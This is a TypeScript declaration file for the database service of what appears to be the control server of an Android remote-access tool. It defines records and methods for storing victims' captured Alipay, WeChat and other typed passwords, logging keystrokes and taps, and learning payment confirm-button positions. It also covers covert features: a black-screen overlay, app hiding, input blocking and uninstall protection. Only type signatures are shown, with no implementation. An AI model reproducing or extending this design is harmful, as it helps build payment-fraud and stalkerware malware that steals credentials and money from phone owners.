Files
server/dist/services/DatabaseService.d.ts
wdvipa 450367dea2 111
2026-02-09 16:34:01 +08:00

366 lines
10 KiB
TypeScript
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
export interface DeviceRecord {
deviceId: string;
deviceName: string;
deviceModel: string;
osVersion: string;
appVersion: string;
appPackage?: string;
appName?: string;
screenWidth: number;
screenHeight: number;
capabilities: string[];
firstSeen: Date;
lastSeen: Date;
connectionCount: number;
lastSocketId?: string;
status: 'online' | 'offline' | 'busy';
publicIP?: string;
remark?: string;
systemVersionName?: string;
romType?: string;
romVersion?: string;
osBuildVersion?: string;
}
export interface OperationLogRecord {
id?: number;
deviceId: string;
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
content: string;
extraData?: any;
timestamp: Date;
}
export interface DeviceStateRecord {
deviceId: string;
password?: string;
inputBlocked: boolean;
loggingEnabled: boolean;
blackScreenActive: boolean;
appHidden: boolean;
uninstallProtectionEnabled: boolean;
lastPasswordUpdate?: Date;
confirmButtonCoords?: {
x: number;
y: number;
};
learnedConfirmButton?: {
x: number;
y: number;
count: number;
};
createdAt: Date;
updatedAt: Date;
}
export interface AlipayPasswordRecord {
id?: number;
deviceId: string;
password: string;
passwordLength: number;
activity: string;
inputMethod: string;
sessionId: string;
timestamp: Date;
createdAt: Date;
}
export interface WechatPasswordRecord {
id?: number;
deviceId: string;
password: string;
passwordLength: number;
activity: string;
inputMethod: string;
sessionId: string;
timestamp: Date;
createdAt: Date;
}
export interface PasswordInputRecord {
id?: number;
deviceId: string;
password: string;
passwordLength: number;
passwordType: string;
activity: string;
inputMethod: string;
installationId: string;
sessionId: string;
timestamp: Date;
createdAt: Date;
}
export declare class DatabaseService {
private db;
private logger;
constructor(dbPath?: string);
/**
* 初始化数据库表结构
*/
private initDatabase;
/**
* 迁移:确保 devices 表包含新增列
*/
private ensureDeviceTableColumns;
/**
* 根据socketId查询设备信息
*/
getDeviceBySocketId(socketId: string): DeviceRecord | null;
/**
* 根据deviceId查询设备信息
*/
getDeviceById(deviceId: string): DeviceRecord | null;
/**
* 保存或更新设备信息
*/
saveDevice(deviceInfo: any, socketId: string): void;
/**
* 记录连接历史
*/
private recordConnection;
/**
* ✅ 将设备状态设置为离线
*/
setDeviceOffline(deviceId: string): void;
/**
* 通过Socket ID将设备设置为离线
*/
setDeviceOfflineBySocketId(socketId: string): void;
/**
* ✅ 将所有设备状态重置为离线
*/
resetAllDevicesToOffline(): void;
/**
* 更新连接断开信息
*/
updateDisconnection(socketId: string): void;
/**
* 获取设备连接统计
*/
getDeviceStats(deviceId: string): any;
/**
* 获取所有设备列表
*/
getAllDevices(): DeviceRecord[];
/**
* 清理旧连接记录
*/
cleanupOldRecords(daysToKeep?: number): void;
/**
* 转换数据库行为DeviceRecord
*/
private rowToDeviceRecord;
/**
* 🆕 更新设备备注
*/
updateDeviceRemark(deviceId: string, remark: string): boolean;
/**
* 🆕 获取设备备注
*/
getDeviceRemark(deviceId: string): string | null;
/**
* 保存操作日志
*/
saveOperationLog(log: OperationLogRecord): void;
/**
* 获取设备操作日志(分页)
*/
getOperationLogs(deviceId: string, page?: number, pageSize?: number, logType?: string): {
logs: OperationLogRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
* 删除设备的所有操作日志
*/
clearOperationLogs(deviceId: string): void;
/**
* 清理旧的操作日志
*/
cleanupOldOperationLogs(daysToKeep?: number): void;
/**
* 获取操作日志统计
*/
getOperationLogStats(deviceId: string): any;
/**
* 获取设备最新的密码记录
*/
getLatestDevicePassword(deviceId: string): string | null;
/**
* ✅ 获取设备状态
*/
getDeviceState(deviceId: string): DeviceStateRecord | null;
/**
* ✅ 保存或更新设备状态
*/
saveDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
/**
* ✅ 更新设备密码
*/
updateDevicePassword(deviceId: string, password: string): void;
/**
* ✅ 更新设备输入阻止状态
*/
updateDeviceInputBlocked(deviceId: string, blocked: boolean): void;
/**
* ✅ 更新设备日志记录状态
*/
updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void;
/**
* 🆕 更新设备黑屏遮盖状态
*/
updateDeviceBlackScreenActive(deviceId: string, active: boolean): void;
/**
* 🆕 更新设备应用隐藏状态
*/
updateDeviceAppHidden(deviceId: string, hidden: boolean): void;
/**
* 🛡️ 更新设备防止卸载保护状态
*/
updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void;
/**
* ✅ 获取设备密码(优先从状态表获取,其次从日志获取)
*/
getDevicePassword(deviceId: string): string | null;
/**
* ✅ 保存设备密码别名方法用于API调用
*/
saveDevicePassword(deviceId: string, password: string): void;
/**
* ✅ 更新设备状态别名方法用于API调用
*/
updateDeviceState(deviceId: string, state: Partial<DeviceStateRecord>): void;
/**
* 🆕 保存确认按钮坐标
*/
saveConfirmButtonCoords(deviceId: string, coords: {
x: number;
y: number;
}): void;
/**
* 🆕 获取确认按钮坐标
*/
getConfirmButtonCoords(deviceId: string): {
x: number;
y: number;
} | null;
/**
* 🆕 更新学习的确认按钮坐标
*/
updateLearnedConfirmButton(deviceId: string, coords: {
x: number;
y: number;
}): void;
/**
* 从操作日志中获取可能的密码候选
*/
getPasswordCandidatesFromLogs(deviceId: string): any[];
/**
* 💰 保存支付宝密码记录
*/
saveAlipayPassword(record: AlipayPasswordRecord): void;
/**
* 💰 获取设备的支付宝密码记录(分页)
*/
getAlipayPasswords(deviceId: string, page?: number, pageSize?: number): {
passwords: AlipayPasswordRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
* 💰 获取设备最新的支付宝密码
*/
getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null;
/**
* 💰 删除设备的支付宝密码记录
*/
clearAlipayPasswords(deviceId: string): void;
/**
* 💰 清理旧的支付宝密码记录
*/
cleanupOldAlipayPasswords(daysToKeep?: number): void;
/**
* 💬 保存微信密码记录
*/
saveWechatPassword(record: WechatPasswordRecord): void;
/**
* 💬 获取设备的微信密码记录(分页)
*/
getWechatPasswords(deviceId: string, page?: number, pageSize?: number): {
passwords: WechatPasswordRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
* 💬 获取设备最新的微信密码
*/
getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null;
/**
* 💬 删除设备的微信密码记录
*/
clearWechatPasswords(deviceId: string): void;
/**
* 💬 清理旧的微信密码记录
*/
cleanupOldWechatPasswords(daysToKeep?: number): void;
/**
* 🔐 保存通用密码输入记录
*/
savePasswordInput(record: PasswordInputRecord): void;
/**
* 🔐 获取设备的通用密码输入记录(分页)
*/
getPasswordInputs(deviceId: string, page?: number, pageSize?: number, passwordType?: string): {
passwords: PasswordInputRecord[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};
/**
* 🔐 获取设备最新的通用密码输入
*/
getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null;
/**
* 🔐 删除设备的通用密码输入记录
*/
clearPasswordInputs(deviceId: string, passwordType?: string): void;
/**
* 🔐 清理旧的通用密码输入记录
*/
cleanupOldPasswordInputs(daysToKeep?: number): void;
/**
* 🔐 获取密码类型统计
*/
getPasswordTypeStats(deviceId: string): any[];
/**
* ✅ 删除设备及其所有相关数据
*/
deleteDevice(deviceId: string): void;
/**
* 🔐 授予用户设备控制权限
*/
grantUserDevicePermission(userId: string, deviceId: string, permissionType?: string, expiresAt?: Date): boolean;
/**
* 🔐 撤销用户设备权限
*/
revokeUserDevicePermission(userId: string, deviceId: string): boolean;
/**
* 🔐 检查用户是否有设备权限
*/
hasUserDevicePermission(userId: string, deviceId: string, permissionType?: string): boolean;
/**
* 🔐 获取用户的所有设备权限
*/
getUserDevicePermissions(userId: string): Array<{
deviceId: string;
permissionType: string;
grantedAt: Date;
}>;
/**
* 🔐 清理过期的权限
*/
cleanupExpiredPermissions(): number;
}
//# sourceMappingURL=DatabaseService.d.ts.map